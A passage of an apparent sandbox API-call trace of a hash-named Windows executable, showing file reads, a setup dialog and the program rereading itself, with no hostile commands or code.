(in: hFile=0xe4, lDistanceToMove=188048, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x2de90 [0073.072] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x2de90 [0073.072] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.072] SetFilePointer (in: hFile=0xe4, lDistanceToMove=196224, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x2fe80 [0073.072] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x2fe80 [0073.072] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=204400, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x31e70 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x31e70 [0073.073] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=212576, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x33e60 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x33e60 [0073.073] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=220752, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x35e50 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x35e50 [0073.073] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=228928, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x37e40 [0073.073] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x37e40 [0073.074] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=237104, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x39e30 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x39e30 [0073.074] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=245280, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x3be20 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x3be20 [0073.074] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=253456, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x3de10 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x3de10 [0073.074] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.074] SetFilePointer (in: hFile=0xe4, lDistanceToMove=261632, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x3fe00 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x3fe00 [0073.075] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=269808, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x41df0 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x41df0 [0073.075] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=277984, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x43de0 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x43de0 [0073.075] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=286160, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x45dd0 [0073.075] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x45dd0 [0073.075] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=294336, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x47dc0 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x47dc0 [0073.076] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=302512, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x49db0 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x49db0 [0073.076] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=310688, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x4bda0 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x4bda0 [0073.076] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=318864, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x4dd90 [0073.076] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x4dd90 [0073.077] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=327040, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x4fd80 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x4fd80 [0073.077] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=335216, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x51d70 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x51d70 [0073.077] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=343392, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x53d60 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x53d60 [0073.077] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.077] SetFilePointer (in: hFile=0xe4, lDistanceToMove=351568, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x55d50 [0073.078] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x55d50 [0073.078] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.078] SetFilePointer (in: hFile=0xe4, lDistanceToMove=359744, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x57d40 [0073.078] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x57d40 [0073.078] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.079] SetFilePointer (in: hFile=0xe4, lDistanceToMove=367920, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x59d30 [0073.079] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x59d30 [0073.079] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.079] SetFilePointer (in: hFile=0xe4, lDistanceToMove=376096, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x5bd20 [0073.079] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x5bd20 [0073.079] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.079] CloseHandle (hObject=0xe4) returned 1 [0073.080] GetModuleHandleW (lpModuleName=0x0) returned 0x12d0000 [0073.080] FindResourceW (hModule=0x12d0000, lpName="RTL", lpType=0x5) returned 0x0 [0073.080] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4d9278 [0073.080] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4d92a8 [0073.080] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.080] GetProcAddress (hModule=0x76860000, lpProcName="DialogBoxParamW") returned 0x7689cfca [0073.080] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7c4 | out: lpflOldProtect=0x3ef7c4*=0x4) returned 1 [0073.081] DialogBoxParamW (hInstance=0x12d0000, lpTemplateName="STARTDLG", hWndParent=0x0, lpDialogFunc=0x12eaee0, dwInitParam=0x0) returned 0x1 [0073.242] GetLastError () returned 0x0 [0073.242] SetLastError (dwErrCode=0x0) [0073.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:", cchWideChar=-1, lpMultiByteStr=0x3dcef4, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:", lpUsedDefaultChar=0x0) returned 11 [0073.242] GetLastError () returned 0x0 [0073.242] SetLastError (dwErrCode=0x0) [0073.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:SIZE", cchWideChar=-1, lpMultiByteStr=0x3dca18, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:SIZE", lpUsedDefaultChar=0x0) returned 15 [0073.243] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.243] GetProcAddress (hModule=0x76860000, lpProcName="GetWindowRect") returned 0x76877f34 [0073.243] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dce20 | out: lpflOldProtect=0x3dce20*=0x4) returned 1 [0073.243] GetWindowRect (in: hWnd=0xa005c, lpRect=0x3dcec0 | out: lpRect=0x3dcec0) returned 1 [0073.243] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.244] GetProcAddress (hModule=0x76860000, lpProcName="GetClientRect") returned 0x76880c62 [0073.244] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dce20 | out: lpflOldProtect=0x3dce20*=0x4) returned 1 [0073.244] GetClientRect (in: hWnd=0xa005c, lpRect=0x3dcee4 | out: lpRect=0x3dcee4) returned 1 [0073.244] GetLastError () returned 0x0 [0073.244] SetLastError (dwErrCode=0x0) [0073.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:CAPTION", cchWideChar=-1, lpMultiByteStr=0x3dce2c, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:CAPTION", lpUsedDefaultChar=0x0) returned 18 [0073.244] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.244] GetProcAddress (hModule=0x76860000, lpProcName="GetSystemMetrics") returned 0x76877d2f [0073.244] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dce24 | out: lpflOldProtect=0x3dce24*=0x4) returned 1 [0073.245] GetSystemMetrics (nIndex=8) returned 3 [0073.245] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.245] GetProcAddress (hModule=0x76860000, lpProcName="GetWindow") returned 0x7687926e [0073.245] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dce20 | out: lpflOldProtect=0x3dce20*=0x4) returned 1 [0073.245] GetWindow (hWnd=0xa005c, uCmd=0x5) returned 0x2032c [0073.245] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.246] GetProcAddress (hModule=0x76860000, lpProcName="SendMessageW") returned 0x76879679 [0073.246] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd79c | out: lpflOldProtect=0x3dd79c*=0x4) returned 1 [0073.246] SendMessageW (hWnd=0xa005c, Msg=0x80, wParam=0x1, lParam=0xc01f7) returned 0x0 [0073.269] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.270] GetProcAddress (hModule=0x76860000, lpProcName="SendDlgItemMessageW") returned 0x7689d0f5 [0073.270] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd798 | out: lpflOldProtect=0x3dd798*=0x4) returned 1 [0073.270] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=108, Msg=0x172, wParam=0x0, lParam=0x2c05018e) returned 0x0 [0073.274] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.275] GetProcAddress (hModule=0x76860000, lpProcName="GetDlgItem") returned 0x7689f1ba [0073.275] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd7a4 | out: lpflOldProtect=0x3dd7a4*=0x4) returned 1 [0073.275] GetDlgItem (hDlg=0xa005c, nIDDlgItem=104) returned 0x2031a [0073.275] SendMessageW (hWnd=0x2031a, Msg=0x435, wParam=0x0, lParam=0x400000) returned 0x0 [0073.275] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x3ee364 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0073.275] GetDlgItem (hDlg=0xa005c, nIDDlgItem=102) returned 0xa005e [0073.275] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.275] GetProcAddress (hModule=0x76860000, lpProcName="SetWindowTextW") returned 0x768820ec [0073.276] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd7a4 | out: lpflOldProtect=0x3dd7a4*=0x4) returned 1 [0073.276] SetWindowTextW (hWnd=0xa005e, lpString="C:\\Users\\kEecfMwgj\\Desktop") returned 1 [0073.276] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.276] GetProcAddress (hModule=0x76860000, lpProcName="GetClassNameW") returned 0x768782a9 [0073.276] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd6f0 | out: lpflOldProtect=0x3dd6f0*=0x4) returned 1 [0073.276] GetClassNameW (in: hWnd=0xa005e, lpClassName=0x3dd76c, nMaxCount=80 | out: lpClassName="ComboBox") returned 8 [0073.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="ComboBox", cchCount1=-1, lpString2="EDIT", cchCount2=-1) returned 1 [0073.277] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.277] GetProcAddress (hModule=0x76860000, lpProcName="FindWindowExW") returned 0x7689f588 [0073.277] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd6e8 | out: lpflOldProtect=0x3dd6e8*=0x4) returned 1 [0073.277] FindWindowExW (hWndParent=0xa005e, hWndChildAfter=0x0, lpszClass="EDIT", lpszWindow=0x0) returned 0x20326 [0073.277] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.277] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x751c0000 [0073.277] GetProcAddress (hModule=0x751c0000, lpProcName="SHAutoComplete") returned 0x751e9353 [0073.278] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3dd6f4 | out: lpflOldProtect=0x3dd6f4*=0x4) returned 1 [0073.278] SHAutoComplete (hwndEdit=0x20326, dwFlags=0x10) returned 0x0 [0075.293] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10c0) returned 0x4f71f0 [0075.294] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10c0) returned 0x4f82b8 [0075.294] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x82f0) returned 0x4f9380 [0075.295] GetCurrentProcess () returned 0xffffffff [0075.295] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x3d5a70, lpSystemAffinityMask=0x3d5a6c | out: lpProcessAffinityMask=0x3d5a70, lpSystemAffinityMask=0x3d5a6c) returned 1 [0075.295] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x144 [0075.295] ReadFile (in: hFile=0x144, lpBuffer=0x3d7cd4, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3d5a38, lpOverlapped=0x0 | out: lpBuffer=0x3d7cd4*, lpNumberOfBytesRead=0x3d5a38*=0x7, lpOverlapped=0x0) returned 1 [0075.296] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x200000) returned 0x3090020 [0075.296] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5a6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5a6c*=0) returned 0x7 [0075.296] ReadFile (in: hFile=0x144, lpBuffer=0x3090020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x3d5a38, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x3d5a38*=0x12ce95, lpOverlapped=0x0) returned 1 [0075.344] SetFilePointer (in: hFile=0x144, lDistanceToMove=383488, lpDistanceToMoveHigh=0x3d5a4c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3d5a4c*=0) returned 0x5da00 [0075.344] ReadFile (in: hFile=0x144, lpBuffer=0x3d7cd4, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3d5a38, 